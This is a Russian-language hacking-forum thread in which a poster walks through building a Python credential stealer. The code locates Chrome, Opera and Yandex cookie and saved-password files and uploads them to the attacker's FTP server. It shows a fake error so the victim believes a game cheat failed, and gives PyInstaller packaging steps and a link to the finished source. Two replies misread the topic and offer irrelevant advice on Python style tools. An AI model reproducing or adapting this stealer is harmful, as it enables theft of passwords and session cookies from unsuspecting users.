Стиллер на Python

UndetectedButterFly

Malware Analyst
Joined
Jun 14, 2017
Messages
613
Reaction score
349
Хало ебать, кароч давно не было тем, ну я шкильник так что думаю вы меня поймете, вот очередной стиллер на питоне(Хуле нет, в расеи живем), ну кароч, паихали, ну как обычно я не несу ответственности за ваши действия, админ тоже, ее несете вы.
первое что нужно сделать это импорт библиотек питона, вот код:
Python:
import os.path
import getpass
from ftplib import FTP
import random
con = FTP("хост","логин","пароль")
Так же меня в конфе в вк попросили объяснять для чайников, хотя я хз, т.к бывают советские чайники которые нихуя не понимают и сами ничего не могут сделать, ты иди им в дс объясняй, так вот я не хотел это кидать в тему, но кину
os.path - используется для проверки директории на валидность, точнее на то, существует ли она в природе вторая библиотека
getpass - используется для получения юзернейма пользователя, под которым запущен процесс, это нужно для доступа к папке AppData
ftplib - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер четвертая библиотека
random - ну тут все просто, мы рандомизируем названия файла, который отправляем на сервер
И напоследок, мы подключаемся по ftp по логину, паролю и хосту.
Теперь перейдем к более интересным вещам, чем просто библиотеки, напишем уже сами пути к директориям, где лежат наши пароли, а пароли будем воровать из браузеров - Opera, Yandex, Google Chrome
Итак, вот код, пишем его, далее будем его разбирать
Python:
UserName = '\\' + getpass.getuser()
dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"

dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"

dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
UserName - принимает значения имя текущего пользователя, хотя хз как этого можно было не понять.____.
dir_cookie_google, dir_pass_google, ...., ... - и т.д. Это все директории где хранятся пароли, нам интерестны именно эти 3 браузера. Будем забирать пароли и куки и перекидывать их себе на сервер по FTP. Потом открывать в sqlite manager, но об этом позже....
У нас имеются директории, у нас есть библиотеки для работы, что же дальше? Пора приступать к основной задаче - написанию стиллера.
Python:
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

def check():
    if (os.path.exists(dir_google)) == True:
        filename = "google"+str(random.randint(1, 10000))
        filename2 = "google_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_google, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_google, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_opera)) == True:
        filename = "opera"+str(random.randint(1, 10000))
        filename2 = "opera_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_opera, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_opera, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_yandex)) == True:
        filename = "yandex"+str(random.randint(1, 10000))
        filename2 = "yandex_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_yandex, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_yandex, "rb") as content:
Код получился не маленький, что есть то есть. Рассмотрим первые строчки. В начале, до функции, мы записываем в переменные адреса наших директорий для последующей проверки на валидность. "Зачем это нужно?", - спросите вы меня. Да так проще! Зачем ставить try, except, если можно проверить на валидность с помощью os.path.exits. Далее у идет функция, со множествами if, но тут ничего ничего сложного нет, все просто:
Python:
 if (os.path.exists(dir_google)) == True:
        filename = "google"+str(random.randint(1, 10000))
        filename2 = "google_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_google, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_google, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
Мы проверяем, является ли директория валидной, а после открываем ее, и отправляем файл на наш сервер FTP. Такс... Функцию написали, библиотеки подключили, директории есть. Чего не хватает? Думаю, не хватает задействовать функцию и вывести на экран какую-нибудь псевдо-ошибку, что мол библиотека не подключена и все дела. Будем действовать по такой схеме(Ну типа текст свой ставьте, мне как то пихуй, это будет софтина на всеми нашу любимую сиэсжо)
Python:
check()
print("хз какую сюда ошибку впихнуть, но в готовом сурсе я чот придумаю, так шо да")
print("Error RUN cheat")
input()
Code:
Первая строка - Ну вы сами думайте, если вы даже этого не знаете нахуй вы ваще пытаетесь чот сделать, ну кароч это вызов функции которая пиздит пароли, потом идут принты, ну тип дефолт лоадер, ошибка с дллкой и ошибка запуска чита.
Далее выводим сообщения об "ошибке", чтобы пользователь думал, что это у него проблемы какие то. И что программа не зловредная, а наоборот, пыталась помочь. Но, как оказалось, библиотеки видите ли у него нет))
Компилим прогу через пайинсталлер
качаем его:
pip install pyinstaller
Компилируем:
pyinstaller -F <my_script>.py
Внимание блятб, если У ВАС ОШИБКИ С PIP ТО ОБРАЩАТЬСЯ НЕ КО МНЕ, А К ГУГЛУ, ТАМ ВСЕ НАПИСАНО, я предупреждаю, помогать я не буду, если вы и в правду не можете разобраться с такими ошибками, то я думаю вам стоит выйти с данной темы,хотя стоп, для работы нужен ftp :/,о чем это я
Готовый код вы найдете тут - https://pastebin.com/D2HHZDiG

Ссылку на кредиты не буду оставлять, напишите в вк если позарез надо будет
Discord - 蝶UndetectedButterFly1337.pw#0187
vk - https://vk.com/undetectedButterFly
telegram - @UndetectedButterFly
 

UndetectedButterFly

Malware Analyst
Joined
Jun 14, 2017
Messages
613
Reaction score
349
а вот это обидно,аахахаххаха
Ну зато по факту
TJ1Itlj.png
 

urae2004

Member
Joined
Jun 15, 2010
Messages
6
Reaction score
0
"Yo, what's up with the language tag? You're talking about Python's string templating. For that, I'd recommend using Jinja2, it's a powerful templating engine."
 

Fusked

New member
Joined
May 21, 2017
Messages
3
Reaction score
0
I think you're looking for "style" not "стиллер". For Python style checking, I'd recommend using pylint or pyflakes. Both are popular choices and can help you keep your code tidy and consistent.
 
Top